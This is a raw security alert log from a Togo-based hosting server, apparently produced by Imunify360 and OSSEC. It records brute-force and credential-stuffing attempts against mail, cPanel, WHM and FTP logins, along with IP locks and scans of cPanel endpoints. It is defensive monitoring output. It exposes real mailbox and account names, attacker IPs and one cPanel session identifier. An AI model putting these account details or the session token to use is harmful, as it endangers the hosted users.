abuser: 106.36.193.42
country_id: 1814991
description:
2026-06-12 21:33:17 dovecot_login authenticator failed for H=([111.34.17.94]) [106.36.193.42]:44252: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.155.146.33
country_id: 2017370
description:
Jun 12 21:33:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.155.146.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 21:33:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:41678: 535 Incorrect authentication data (set_id=jons@ns5.netmaster.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:33:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 21:33:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:33:12 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (lfeqat6) [192.99.255.73]:53577: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 12 21:33:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 21:33:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 21:33:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:38888: 535 Incorrect authentication data (set_id=mig@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 12 21:33:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.155.146.33
country_id: 2017370
description:
2026-06-12 21:33:30 dovecot_login authenticator failed for H=([107.181.168.150]) [45.155.146.33]:57020: 535 Incorrect authentication data (set_id=wages)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 21:33:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:27994: 535 Incorrect authentication data (set_id=channelmode@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 21:33:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 21:33:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:46888: 535 Incorrect authentication data (set_id=racing@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 21:33:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:36702: 535 Incorrect authentication data (set_id=mdm@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.36.193.42
country_id: 1814991
description:
Jun 12 21:33:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.36.193.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 21:33:13 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:34:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:34:28 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (1X335q0) [192.99.255.73]:58536: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 129.212.235.141
country_id: 1880251
description:
[2026-06-12 21:36:01 +0000] info [cpaneld] 129.212.235.141 - tiyasuxe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tiyasuxe (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.185.162.128
country_id: 1643084
description:
93.185.162.128 - - [12/Jun/2026:21:36:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263191&pdata=https%253A%252F%252Fdankpen1.mairie.tg%252Ffiscalite%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781300171 HTTP/2.0" 302 0 dankpen1.mairie.tg "https://dankpen1.mairie.tg/fiscalite/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.185.162.128


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.161
country_id: 1880251
description:
47.128.96.161 - - [12/Jun/2026:21:35:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869673&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcompagnie-maritime-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781300134 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/compagnie-maritime-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.161


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 21:36:13 +0000] info [cpaneld] 103.210.132.14 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.223.62.22
country_id: 1880251
description:
Jun 12 21:36:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.223.62.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.39.231.215
country_id: 102358
description:
2026-06-12 21:45:15 dovecot_plain authenticator failed for H=([69.172.210.47]) [51.39.231.215]:14349: 535 Incorrect authentication data (set_id=admin@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.167.233.0
country_id: 1282988
description:
2026-06-12 21:45:02 dovecot_plain authenticator failed for H=([69.172.210.47]) [103.167.233.0]:6374: 535 Incorrect authentication data (set_id=info@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.187.75.63
country_id: 2017370
description:
2026-06-12 21:46:13 dovecot_plain authenticator failed for H=([69.172.210.47]) [5.187.75.63]:8739: 535 Incorrect authentication data (set_id=contato@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.39.231.215
country_id: 102358
description:
2026-06-12 21:45:22 dovecot_login authenticator failed for H=([69.172.210.47]) [51.39.231.215]:14349: 535 Incorrect authentication data (set_id=admin@ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 196.74.114.127
country_id: 2542007
description:
196.74.114.127 - - [12/Jun/2026:21:45:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184804&pdata=https%253A%252F%252Ftogodailynews.tg%252Factivites-de-coris-hlding-au-togo-idrissa-nassa-fait-le-point-a-faure-gnassingbe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781300724 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/activites-de-coris-hlding-au-togo-idrissa-nassa-fait-le-point-a-faure-gnassingbe/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2669.1210 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:196.74.114.127


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.34.127.154
country_id: 1522867
description:
2026-06-12 21:45:31 dovecot_plain authenticator failed for H=([69.172.210.47]) [5.34.127.154]:21233: 535 Incorrect authentication data (set_id=support@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.190.174.86
country_id: 1562822
description:
2026-06-12 21:45:57 dovecot_plain authenticator failed for H=([69.172.210.47]) [113.190.174.86]:58920: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.187.75.63
country_id: 2017370
description:
2026-06-12 21:46:20 dovecot_login authenticator failed for H=([69.172.210.47]) [5.187.75.63]:8739: 535 Incorrect authentication data (set_id=contato@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.43.200.254
country_id: 3895114
description:
2026-06-12 21:46:30 dovecot_plain authenticator failed for H=([69.172.210.47]) [181.43.200.254]:20250: 535 Incorrect authentication data (set_id=contacto@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.155.144.191
country_id: 3658394
description:
2026-06-12 21:46:56 dovecot_plain authenticator failed for H=([69.172.210.47]) [190.155.144.191]:56872: 535 Incorrect authentication data (set_id=financeiro@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.207.170.104
country_id: 2017370
description:
2026-06-12 21:47:11 dovecot_plain authenticator failed for H=([69.172.210.47]) [91.207.170.104]:65002: 535 Incorrect authentication data (set_id=comercial@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.181.12.17
country_id: 2077456
description:
2026-06-12 21:48:00 dovecot_plain authenticator failed for H=([69.172.210.47]) [65.181.12.17]:2443: 535 Incorrect authentication data (set_id=suporte@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.207.170.104
country_id: 2017370
description:
2026-06-12 21:47:18 dovecot_login authenticator failed for H=([69.172.210.47]) [91.207.170.104]:65002: 535 Incorrect authentication data (set_id=comercial@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.74.139.182
country_id: 3469034
description:
2026-06-12 21:47:28 dovecot_plain authenticator failed for H=177-74-139-182.pontocomnet.net.br ([69.172.210.47]) [177.74.139.182]:47002: 535 Incorrect authentication data (set_id=it@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.5.4.4
country_id: 2464461
description:
2026-06-12 21:47:43 dovecot_plain authenticator failed for H=([69.172.210.47]) [197.5.4.4]:57302: 535 Incorrect authentication data (set_id=accounts@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.1.92.29
country_id: 3686110
description:
2026-06-12 21:49:09 dovecot_plain authenticator failed for H=([69.172.210.47]) [206.1.92.29]:58054: 535 Incorrect authentication data (set_id=clients@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.114.111.177
country_id: 2017370
description:
2026-06-12 21:48:18 dovecot_plain authenticator failed for H=([69.172.210.47]) [82.114.111.177]:47664: 535 Incorrect authentication data (set_id=hr@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.153.255.185
country_id: 2921044
description:
2026-06-12 21:48:38 dovecot_plain authenticator failed for H=p5799ffb9.dip0.t-ipconnect.de ([69.172.210.47]) [87.153.255.185]:50826: 535 Incorrect authentication data (set_id=soporte@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.223.127.226
country_id: 3923057
description:
2026-06-12 21:48:54 dovecot_plain authenticator failed for H=([69.172.210.47]) [192.223.127.226]:57724: 535 Incorrect authentication data (set_id=ventas@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.1.92.29
country_id: 3686110
description:
2026-06-12 21:49:16 dovecot_login authenticator failed for H=([69.172.210.47]) [206.1.92.29]:58054: 535 Incorrect authentication data (set_id=clients@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.158.111.108
country_id: 2017370
description:
2026-06-12 21:49:24 dovecot_plain authenticator failed for H=([69.172.210.47]) [146.158.111.108]:60008: 535 Incorrect authentication data (set_id=info@ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.223.62.22
country_id: 1880251
description:
Jun 12 21:51:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.223.62.22 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.106.100.218
country_id: 3865483
description:
[2026-06-12 21:52:55 +0000] info [cpaneld] 190.106.100.218 - ese2i "GET /login/?login_only=1&user=ese2i&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ese2i (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.236.106.99
country_id: 3686110
description:
[2026-06-12 21:53:04 +0000] info [cpaneld] 38.236.106.99 - ese2 "GET /login/?login_only=1&user=ese2&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ese2 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.178.55.86
country_id: 3865483
description:
[2026-06-12 21:53:11 +0000] info [cpaneld] 201.178.55.86 - es "GET /login/?login_only=1&user=es&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user es (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.169.7.171
country_id: 2363686
description:
[2026-06-12 21:53:31 +0000] info [webmaild] 196.169.7.171 - matthieu.awide@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.234.80
country_id: 6252001
description:
2026-06-12 21:54:01 dovecot_plain authenticator failed for H=(xqs5rj5nycahctgb61xncb5sryq) [104.28.234.80]:33513: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.63.176.227
country_id: 3351879
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/event/adzinikuzan-2023-apotheose HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.97.205.33
country_id: 1562822
description:
Jun 12 21:55:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.97.205.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.97.205.33
country_id: 1562822
description:
2026-06-12 21:55:32 dovecot_plain authenticator failed for H=(jiy2jbxr9k6s7i1dqosql) [116.97.205.33]:54165: 535 Incorrect authentication data (set_id=alfred.aguim@emt.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 137.184.97.15
country_id: 6252001
description:
Jun 12 22:01:58 ns5 pure-ftpd[1913268]: (?@137.184.97.15) [WARNING] Authentication failed for user [Lacs1]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.174.0.167
country_id: 2017370
description:
[2026-06-12 22:02:46 +0000] info [whostmgrd] 217.174.0.167 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 78.135.61.227
country_id: 298795
description:
[2026-06-12 22:02:54 +0000] info [cpaneld] 78.135.61.227 - sadis "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: security token missing


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 78.135.61.227
country_id: 298795
description:
[2026-06-12 22:03:06 +0000] info [cpaneld] 78.135.61.227 NEW sadis:naXe047WL9XPjcYT address=78.135.61.227,app=cpaneld,creator=sadis,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.128.111.187
country_id: 1880251
description:
43.128.111.187 - - [12/Jun/2026:22:02:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146473&pdata=https%253A%252F%252Flaunetogo.tg%252Ftogo-letat-durgence-sanitaire-prend-finalement-fin-le-15-septembre%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781301742 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/togo-letat-durgence-sanitaire-prend-finalement-fin-le-15-septembre/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.128.111.187


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 18.224.171.11
country_id: 6252001
description:
[2026-06-12 22:03:18 +0000] info [cpaneld] 18.224.171.11 - Turbolte "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.250.50.102
country_id: 298795
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-lamu-au-coeur-des-travaux-du-conseil-des-ministres-du-04-octobre-2023/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.171.39.124
country_id: 3865483
description:
45.171.39.124 - - [12/Jun/2026:22:04:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726617&pdata=https%253A%252F%252Fcpanel.batika.free.netmaster.tg%252F%253Flocale%253Des&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781301844 HTTP/2.0" 302 0 cpanel.batika.free.netmaster.tg "https://cpanel.batika.free.netmaster.tg/?locale=es" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.171.39.124


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.130.81.117
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-06.45.130.81.117||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 119.8.46.75
country_id: 1819730
description:
119.8.46.75 - - [12/Jun/2026:22:05:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9924250&pdata=https%253A%252F%252Fwww.letabloid.tg%252F2024%252F11%252F16%252Fcoupe-du-monde-de-slam-2024-les-5-derniers-finalistes-connus%252Fbookmark-page%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781301949 HTTP/2.0" 302 0 www.letabloid.tg "https://www.letabloid.tg/2024/11/16/coupe-du-monde-de-slam-2024-les-5-derniers-finalistes-connus/bookmark-page/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:119.8.46.75


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 22:07:42 +0000] info [cpaneld] 103.210.132.14 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.134
country_id: 3469034
description:
Jun 12 22:08:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.134 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.67.28
country_id: 6252001
description:
[2026-06-12 22:11:20 +0000] info [cpaneld] 217.181.67.28 - ygeaivhj "GET / HTTP/1.1" FAILED LOGIN cpaneld: User ygeaivhj has their account suspended. Login blocked.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.42.116.143
country_id: 2750405
description:
192.42.116.143 - glfmqhlj [12/Jun/2026:22:13:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13210220&pdata=https%253A%252F%252Fafriquerevelation.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302415 HTTP/2.0" 302 0 afriquerevelation.tg "https://afriquerevelation.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.42.116.143


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 171.25.193.37
country_id: 2661886
description:
171.25.193.37 - hgfdcvbnk [12/Jun/2026:22:14:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842782&pdata=https%253A%252F%252Fmonde-ai.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302491 HTTP/2.0" 302 0 monde-ai.tg "https://monde-ai.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:171.25.193.37


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.26.109
country_id: 2635167
description:
[2026-06-12 22:15:15 +0000] info [cpaneld] 195.63.26.109 - moodlefreenetmas "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.223.84.84
country_id: 6251999
description:
104.223.84.84 - mbyqtkiw [12/Jun/2026:22:16:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9594773&pdata=https%253A%252F%252Fbanmlab.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302558 HTTP/2.0" 302 0 banmlab.tg "https://banmlab.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.223.84.84


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.220.101.146
country_id: 2921044
description:
185.220.101.146 - mgvybwur [12/Jun/2026:22:15:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066072&pdata=https%253A%252F%252Ffundacionesperanzatogo.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302535 HTTP/2.0" 302 0 fundacionesperanzatogo.tg "https://fundacionesperanzatogo.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.220.101.146


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.94.161
country_id: 2635167
description:
[2026-06-12 22:17:06 +0000] info [cpaneld] 217.181.94.161 - phoicdxb "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.25.243
country_id: 2635167
description:
[2026-06-12 22:17:10 +0000] info [cpaneld] 195.63.25.243 - rdlizssu "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 124.156.195.67
country_id: 1880251
description:
124.156.195.67 - - [12/Jun/2026:22:17:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7368134&pdata=https%253A%252F%252Flaunetogo.tg%252Ftogo-mana-palanga-nouveau-secretaire-general-de-la-federation-togolaise-de-football%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302630 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/togo-mana-palanga-nouveau-secretaire-general-de-la-federation-togolaise-de-football/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:124.156.195.67


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.223.84.84
country_id: 6251999
description:
104.223.84.84 - vejjghdd [12/Jun/2026:22:16:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13225107&pdata=https%253A%252F%252Fnps.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302602 HTTP/2.0" 302 0 nps.tg "https://nps.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.223.84.84


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.99.105.93
country_id: 3469034
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/home HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.114.27.92
country_id: 953987
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/product/show/djama-lager HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.189.100.204
country_id: 2661886
description:
193.189.100.204 - egjvuiox [12/Jun/2026:22:18:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13002949&pdata=https%253A%252F%252Fca-togo.org%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302698 HTTP/2.0" 302 0 ca-togo.org "https://ca-togo.org:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.189.100.204


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.80.84
country_id: 6251999
description:
[2026-06-12 22:18:34 +0000] info [cpaneld] 217.181.80.84 - newglevfer "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.80.194
country_id: 6251999
description:
[2026-06-12 22:18:15 +0000] info [cpaneld] 217.181.80.194 - fgbegmfv "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
